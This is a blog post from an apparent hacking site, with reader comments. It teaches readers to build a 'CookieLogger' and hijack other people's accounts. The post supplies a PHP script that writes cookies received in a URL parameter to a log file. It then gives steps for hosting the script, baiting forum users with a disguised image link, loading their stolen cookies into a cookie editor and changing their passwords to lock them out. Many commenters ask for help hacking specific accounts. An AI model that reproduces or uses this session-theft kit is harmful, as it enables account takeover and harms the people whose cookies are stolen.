Subscribe to Hacking Truths. Now, 14031 members!      RSS Feed Be Our Fan on Facebook Twitter SMS Alerts

Home » Bad Boy, Cool Tricks, Cracking, Email Hacking, Google Hacking, Hacking Tutorials, Hardcore Hacking, Orkut Hacking, Software

Create a CookieLogger and Hack any Account

22 November 2008 50 Comments Posted By Ashik
StumbleUpon.com
Share

Cookies stores all the necessary Information about one’s account , using this information you can hack anybody’s account and change his password. If you get the Cookies of the Victim you can Hack any account the Victim is Logged into i.e. you can hack Google, Yahoo, Orkut, Facebook, Flickr etc.

What is a CookieLogger?

A CookieLogger is a Script that is Used to Steal anybody’s Cookies and stores it into a Log File from where you can read the Cookies of the Victim.

Today I am going to show How to make your own Cookie Logger…Hope you will enjoy Reading it …

Step 1: Save the notepad file from the link below and Rename it as Fun.gif:

Download it.

Step 2: Copy the Following Script into a Notepad File and Save the file as cookielogger.php:

$filename = “logfile.txt”;
if (isset($_GET["cookie"]))
{
if (!$handle = fopen($filename, ‘a’))
{
echo “Temporary Server Error,Sorry for the inconvenience.”;
exit;
}
else
{
if (fwrite($handle, “\r\n” . $_GET["cookie"]) === FALSE)
{
echo “Temporary Server Error,Sorry for the inconvenience.”;
exit;
}
}
echo “Temporary Server Error,Sorry for the inconvenience.”;
fclose($handle);
exit;
}
echo “Temporary Server Error,Sorry for the inconvenience.”;
exit;
?>

Step 3: Create a new Notepad File and Save it as logfile.txt

Step 4: Upload this file to your server

cookielogger.php -> http://www.yoursite.com/cookielogger.php
logfile.txt -> http://www.yoursite.com/logfile.txt (chmod 777)
fun.gif -> http://www.yoursite.com/fun.gif

If you don’t have any Website then you can use the following Website to get a Free Website which has php support :

http://0fees.net

Step 5: Go to the victim forum and insert this code in the signature or a post :

Download it.

Step 6: When the victim see the post he view the image u uploaded but when he click the image he has a Temporary Error and you will get his cookie in log.txt . The Cookie Would Look as Follows:

phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bi%3A-1%3B%7D; phpbb2mysql_sid=3ed7bdcb4e9e41737ed6eb41c43a4ec9

Step 7: To get the access to the Victim’s Account you need to replace your cookies with the Victim’s Cookie. You can use a Cookie Editor for this. The string before “=” is the name of the cookie and the string after “=” is its value. So Change the values of the cookies in the cookie Editor.

Step 8: Goto the Website whose Account you have just hacked and You will find that you are logged in as the Victim and now you can change the victim’s account information.

Note : Make Sure that from Step 6 to 8 the Victim should be Online because you are actually Hijacking the Victim’s Session So if the Victim clicks on Logout you will also Logout automatically but once you have changed the password then you can again login with the new password and the victim would not be able to login.

Disclaimer: I don’t take Responsibility for what you do with this script, served for Educational purpose only.

Popularity: 9% [?]


Enjoyed this article? Subscribe to Hacking Truths and get daily updates about new cool websites and programs in your email for free.


50 Comments »

  • kwikwi said:

    i dun know how to create fun.gif behalf of txt
    u mean even fun.gif.txt is correct ??
    reply me fast!

  • aaryan0077 said:

    what the f*ck is this “victim Forum” in step 5 ???
    Please tell me I am dying to do this …………….

  • Taimoor said:

    1st of all i think its bit dificult coz as u told this it seems incomplete may i know that whathere its incomplete or im unable to understand this & 2ndly if i pay 5 dollar but wt if this doesn’t work as im reading comments….

  • Taimoor said:

    Yup explain abt step 5 how to go to victim forum wt does that mean ?

  • heerms said:

    mind if you upload the notepad file in step 1 again?

  • huan feng said:

    For step 5, I think he meant “Put the url where the victim can click it”. It doesn’t have to be on “the forum” necessarily. Does it? That’s why he used “insert this code in the signature or a post” (In other words anywhere where the victim would click the link

  • cooldost said:

    I am getting error!

    Parse error: syntax error, unexpected T_STRING, expecting ‘,’ or ‘;’ in /www/110mb.com/s/e/c/u/r/e/a/u/secureauthentic/htdocs/cookielogger.php on line 8

  • cooldost said:

    DONE
    :)

  • amar said:

    make it simple and clear

  • aaryan0077 said:

    @cooldost
    what do u mean by DONE??????????????????
    Did u hacked someone’s account by this way, if so please explain all these steps clearly.

  • atif said:

    I am getting error!

    Parse error: syntax error, unexpected T_STRING, expecting ‘,’ or ‘;’ in /web/htdocs/www.facedesi.com/home/atif/cookielogger.php on line 7

    pleseee help me

  • Castillo said:

    “…but when he click the image he has a Temporary Error and you will get his cookie in log.txt”

    - can’t understand. in which log.txt?

  • veronica roy said:

    sir please tell me from where i get COOKIE EDITOR

  • ishwas said:

    it was useful thing which you told
    above comments wo didn,t understood are tinny totts who should not prefer all these.
    contact me imformation giver i want to have more things with you.

  • prashant said:

    sir please help me, i am not getting it clearly.
    Please sir.

  • speedgeni said:

    step 7: To get the access to the Victim’s Account you need to replace your cookies with the Victim’s Cookie. u can use a Cookie Editor for this.

    what it means please some one help…
    from where i can get cookie editor and how to do this step 7

    help…

  • BULLRTI said:

    SOMEONE PLEAZZ TELL ME HOW TO HACK GMAIL
    MY ID IS RAHULSHARMA3242@GMAIL.COM

  • Yuber said:

    I have done everything just like said, the victim saw the error message but my logfile.txt remained empty…
    Whats now?

  • anil said:

    Sir, pls explane how to do.. this ????

  • jay said:

    don’t know how to create fun.gif
    plz tell me….

  • Hacker said:

    For Firefox user’s, download AnEC Cookie Editor to edit,modify and add cookies.

  • Hidden said:

    I’dont download file… New upload web site please

  • DF said:

    When I click on the picture, I get the message: The image “http://linxp.bplaced.net/fun.gif” cannot be displayed, because it contains errors.

    What should I do? tried to upload the same twise, but nothing changed. Maybe the hoster doesn’t acceptPHP script?

  • Ram said:

    can u make it clear sir???

  • PraSun said:

    I M unable to understand 5th step….
    wht did u want to say in 5th step?
    wether i have to post a image with that hyperlink or wht,
    plz help me….

  • sourav said:

    hi frnds i m new 2 this but i want try it once. . . so if anybody can it clear 2 me . . i’ll b very thankful 2 him. .waiting for reply. . add me as ur orkut frnd and plz get start. . .id is watsupsourav@gmail.com. . . .don’t hack it. .

  • 007 said:

    When I click on the picture, I get the message: The image———-

    “(MY LINK)– cannot be displayed, because it contains errors.”

    plzzz clear it ……… how image will display ???…..

  • Neelu said:

    how to download cookies n from where. procedures to edit cookies..

  • Neelu said:

    how to copy d cookies n how to edit it..

  • Ne0n said:

    Yes the Admin of this site or who ever wrote this is AWESOME

  • deep said:

    hey its not working or sort of done the exact but nothing happen one step is changed its very difficult to make website on the url u gave and if i post the script in facebook as i write in someone wall they donot see it as a image its comming in code only . help seriously wanna learn and plz give ur response to it.

  • kishan said:

    how to upload the file to server ………?

  • Wildest Negro In OC said:

    chmod777 what that part?

  • Tati said:

    If I show u the profile I want to hack would u hack it for me? Please say yes… It’s too complicated for me. Reply to this email: brennda.tkm@live.com
    Thanx

  • suman said:

    Well i dont know how to do it but i want to know about this because someone already hacked my email id and deactivate i just want to take an avenge from that person

  • mat said:

    how do u do this i dont get it

  • shivendra khare said:

    i not getting 5th step..
    can you please explain me..

  • *UNKNOWN* said:

    Uuh…I got lost on the 4th step and I need help! BAD! AND QUICK! Isn’t there an easier way to do this..?

  • Let's see » Create a CookieLogger and Hack any Account said:

    [...] you don’t have any Website41 then you can use the following Website to get a Free Website42 which has php support : [...]

  • Lets see … Whats Going on | Create a CookieLogger and Hack any Account said:

    [...] you don’t have any Website41 then you can use the following Website to get a Free Website42 which has php support : [...]

  • sandeep said:

    the cookieloggerphp contains errors in code

  • owen said:

    what does it mean by this (chmod 777)?

  • praveen said:

    how to create fun,gif

  • Lyss XD said:

    AGH I wish I could do this! I want to hack back my Gaia account SOO bad!

  • karan said:

    plzzzzzzzzz make it more simple and complete.

  • karan said:

    i can’t understand step #5

  • Pablo said:

    Please tell me how to hack Yahoo E-mail Accounts.

    My e-mail is: mr.criminal_2009@yahoo.com, thanks!

  • rajesh said:

    sir i go victim forum

  • sid said:

    please help me to understand step-4to8

  • blast said:

    im having a prob with 4

Note : If you have any Query related to the above Article please Post it to the Support Forum.

Leave your response!

Add your comment below, or trackback from your own site. You can also subscribe to these comments via RSS.

Be nice. Keep it clean. Stay on topic. No spam.

You can use these tags:
<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>

This is a Gravatar-enabled weblog. To get your own globally-recognized-avatar, please register at Gravatar.